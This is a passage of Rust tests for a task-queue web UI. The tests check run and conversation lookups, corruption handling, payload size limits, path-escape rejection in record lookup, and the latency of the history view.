24466        let ui = delta_test_ui(home.path());
24467        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24468        let mut run = RunState::new(
24469            PathBuf::from("/repo"),
24470            "main".into(),
24471            "01234567".into(),
24472            "Useful run".into(),
24473            Config::default(),
24474        );
24475        run.save_under(home.path()).unwrap();
24476        let mut task = Task::new(
24477            "Related".into(),
24478            "body".into(),
24479            PathBuf::from("/repo"),
24480            Source::Agent {
24481                run: talk_id.clone(),
24482                node: "chat".into(),
24483            },
24484        );
24485        task.runs = vec![run.id.clone()];
24486        ui.queue.put(&mut task).unwrap();
24487        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24488        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24489        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24490        assert!(
24491            run_detail(State(ui.clone()), Path(run.id.clone()))
24492                .await
24493                .is_ok()
24494        );
24495        assert!(
24496            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24497                .await
24498                .is_ok()
24499        );
24500        // Previously indexed corruption must not masquerade as no relationship.
24501        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24502        assert!(ui.find_task_for_run(&run.id).is_err());
24503        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24504        ui.queue.put(&mut task).unwrap();
24505        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24506    }
24507
24508    #[tokio::test]
24509    async fn conversation_sections_omit_large_task_instructions() {
24510        let home = tempfile::tempdir().unwrap();
24511        let ui = delta_test_ui(home.path());
24512        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24513        let mut task = Task::new(
24514            "filed task".into(),
24515            "large instruction ".repeat(65536),
24516            PathBuf::from("/repo"),
24517            Source::Agent {
24518                run: id.clone(),
24519                node: "chat".into(),
24520            },
24521        );
24522        ui.queue.put(&mut task).unwrap();
24523        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24524        assert_eq!(sections["tasks"][0]["id"], task.id);
24525        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24526        assert!(sections["tasks"][0].get("instruction").is_none());
24527        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24528    }
24529
24530    #[test]
24531    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24532        let home = tempfile::tempdir().unwrap();
24533        let talks = Talks::at(home.path().join("talks"));
24534        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24535        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24536        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24537        assert!(resolve_talk(&talks, "../outside").is_err());
24538        assert!(resolve_talk(&talks, "abcd").is_err());
24539        assert_eq!(
24540            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24541            "20261019-000001-abcd"
24542        );
24543    }
24544
24545    include!(concat!(
24546        env!("CARGO_MANIFEST_DIR"),
24547        "/tests/web_latency/baseline.rs"
24548    ));
24549
24550    include!(concat!(
24551        env!("CARGO_MANIFEST_DIR"),
24552        "/tests/web_latency/lists.rs"
24553    ));
24554
24555    #[tokio::test]
24556    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24557    async fn web_history_latency_measurement() {
24558        use std::time::Instant;
24559        let home = tempfile::tempdir().unwrap();
24560        let ui = delta_test_ui(home.path());
24561        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24562        let mut template = ui.talks.get(&id).unwrap();
24563        template.turns = serde_json::from_value(serde_json::json!([{
24564            "who": "operator", "body": "Show the accumulated work and its current status.",
24565            "at": Timestamp::now().to_string(),
24566        }]))
24567        .unwrap();
24568        std::fs::write(
24569            ui.talks.path_of(&id),
24570            serde_json::to_vec(&template).unwrap(),
24571        )
24572        .unwrap();
24573        let count = std::env::var("MAGI_BENCH_RECORDS")
24574            .ok()
24575            .and_then(|s| s.parse::<usize>().ok())
24576            .unwrap_or(1000);
24577        for i in 0..count {
24578            template.id = format!("20261019-{i:06}-history");
24579            template.pending = "history ".repeat(2048);
24580            std::fs::write(
24581                ui.talks.path_of(&template.id),
24582                serde_json::to_vec(&template).unwrap(),
24583            )
24584            .unwrap();
24585            let mut task = Task::new(
24586                "old task".into(),
24587                "instruction ".repeat(2048),
24588                PathBuf::from("/repo"),
24589                Source::Human,
24590            );
24591            task.id = format!("20261019-{i:06}-task");
24592            ui.queue.put(&mut task).unwrap();
24593        }
24594        for baseline in [true, false] {
24595            for clients in [1, 4] {
24596                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24597                let mut samples = Vec::new();
24598                for _ in 0..12 {
24599                    let mut jobs = Vec::new();
24600                    for _ in 0..clients {
24601                        let ui = ui.clone();
24602                        let id = id.clone();
24603                        jobs.push(tokio::spawn(async move {
24604                            let start = Instant::now();
24605                            if baseline {
24606                                let response =
24607                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24608                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24609                                return (
24610                                    elapsed,
24611                                    elapsed,
24612                                    serde_json::to_vec(&response).unwrap().len(),
24613                                );
24614                            }
24615                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24616                            let secondary = talk_sections(State(ui), Path(id));
24617                            let (first, total) = tokio::join!(
24618                                async {
24619                                    let value = core.await.unwrap().0;
24620                                    (
24621                                        start.elapsed().as_secs_f64() * 1000.0,
24622                                        serde_json::to_vec(&value).unwrap().len(),
24623                                    )
24624                                },
24625                                async {
24626                                    let value = secondary.await.unwrap().0;
24627                                    (
24628                                        start.elapsed().as_secs_f64() * 1000.0,
24629                                        serde_json::to_vec(&value).unwrap().len(),
24630                                    )
24631                                }
24632                            );
24633                            (first.0, first.0.max(total.0), first.1 + total.1)
24634                        }));
24635                    }
24636                    for job in jobs {
24637                        samples.push(job.await.unwrap());
24638                    }
24639                }
24640                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24641                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24642                first.sort_by(f64::total_cmp);
24643                total.sort_by(f64::total_cmp);
24644                let n = first.len();
24645                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24646                println!(
24647                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24648                    first[n / 2],
24649                    first[(n * 95 / 100).min(n - 1)],
24650                    total[n / 2],
24651                    total[(n * 95 / 100).min(n - 1)],
24652                    samples[0].2
24653                );
24654            }
24655        }
24656    }
24657
24658    #[test]
24659    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24660        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24661        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24662        assert!(APP_JS.contains("function nextRunRequest(id)"));
24663        assert!(APP_JS.contains("function runShell(id, summary)"));
24664        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24665        assert!(APP_JS.contains("function taskShell(id, summary)"));
24666        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24667    }
24668}